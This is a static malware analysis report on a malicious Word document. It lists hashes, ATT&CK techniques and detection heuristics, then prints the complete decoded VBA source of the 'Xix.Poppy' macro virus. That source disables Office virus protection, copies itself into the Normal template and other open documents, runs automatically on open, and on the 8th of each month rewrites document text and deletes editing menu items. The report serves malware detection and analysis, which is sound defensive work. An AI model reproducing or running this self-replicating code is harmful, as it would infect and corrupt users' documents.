Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 344342cefab0fd46…

MALICIOUS

Office (OLE)

117.0 KB Created: 2014-02-24 01:46:00 Authoring application: Microsoft Office Word First seen: 2015-09-27
MD5: 8059372577a607cff7d3c9834f51b4b0 SHA-1: b3e36df973bc3cec69c9cfd7dfa03178b12b71df SHA-256: 344342cefab0fd4670274338a8005fa9564fa91219a995c62527f6b3f11526ad
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1553.005 Mark-of-the-Web Bypass

The sample is a malicious Office document containing VBA macros. Heuristics indicate legacy macro-virus markers, VBA macro detection, and specifically, the disabling of Office macro-virus protection, suggesting an attempt to evade security measures. The embedded VBA script attempts to export a file to 'c:\xix.drv' and manipulates document properties with suspicious strings related to voting and regionalization, likely as a lure or obfuscation. The ClamAV detections further confirm its malicious nature.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3639 bytes
SHA-256: 267b459abb27a95e4764248d116559b790153c6c28c4bc013929d842f310a714
Detection
ClamAV: Doc.Trojan.Vmpc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xix"
    
Sub xix()
    
    'VMPCK 1.0d w/Random Path + Update
    '=================================
    'Code Written by VicodinES
    '=================================
    'Poppy ID : 5083-QyUo94005083.c
    '=================================
    'This Virus Is: Xix.Poppy
    
On Error Resume Next
Randomize
BzUz7979 = OnLnBvVq & GjCy17022 & JvCeAiQx & VxLk11768
KrNo8852 = ReRnBxQg & UvHm12817 & LsKgBxIj & TiFo12200
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"
ActiveDocument.ReadOnlyRecommended = False
NsRt = Int(Rnd * 100)
    If NsRt = 99 Then MsgBox "Dia 8 de Novembro VOTA N肙 � regionaliza玢o!", vbSystemModal
MgToTvGm = VwDx2292 & LlPg10701
If Day(Now()) = 8 Then Call UmCu9400BsTy
DgCx6829 = DrGhQhNe & ExCf6570 & Int(Rnd * 2675)
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "VOTA N肙 � REGIONALIZA敲O! SIM AO REFOR荗 DO MUNICIPALISMO!"
    .Subject = "JO肙 JARDIM x8?! PORRA! DIA 8 VOTA N肙!"
    .Comments = "A REGIONALIZA敲O � UM ERRO COLOSSAL!"
    .Execute
End With
If NormalTemplate.VBProject.VBComponents.Item("xix").Name <> "xix" Then MvBv508370643 = True
PlEqIfRo = QwLq7775 & OpHg16129
If ActiveDocument.VBProject.VBComponents.Item("xix").Name <> "xix" Then TxHi70648 = True
If MvBv508370643 = True And TxHi70648 = False Then Set JxPg706450836 = NormalTemplate.VBProject.VBComponents
If MvBv508370643 = False And TxHi70648 = True Then Set JxPg706450836 = ActiveDocument.VBProject.VBComponents
JxPg706450836.import "c:\xix.drv"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If TxHi70648 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
'VMPCK v1.0d [The Final Version?]
GoNqGpTs:
End Sub
Sub HelpAbout()
    On Error Resume Next
IqAj10564 = SgGwHmVe & KlLp7022 & PeVyEhIs & NkCo10807
    MsgBox "Jo鉶 Jardim x8?! Porra! Dia 8 Vota N肙!", vbInformation
End Sub
Sub AutoOpen()
    On Error Resume Next
PuIq14134 = TkEmRxTv & FyIe14577 & Int(Rnd * 8391)
    Call xix
SxLn19336 = OyOrAfGz & QtGv12202 & Int(Rnd * 9871)
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call xix
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call xix
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call xix
ChNz19101 = EwCyLsKj & LuTw19501 & Int(Rnd * 9898)
NhAlIqVz = NhNm11382 & TqVm7492
End Sub
Sub UmCu9400BsTy()
    On Error Resume Next
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "sim"
            .Replacement.Text = "n鉶 � regionaliza玢o!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

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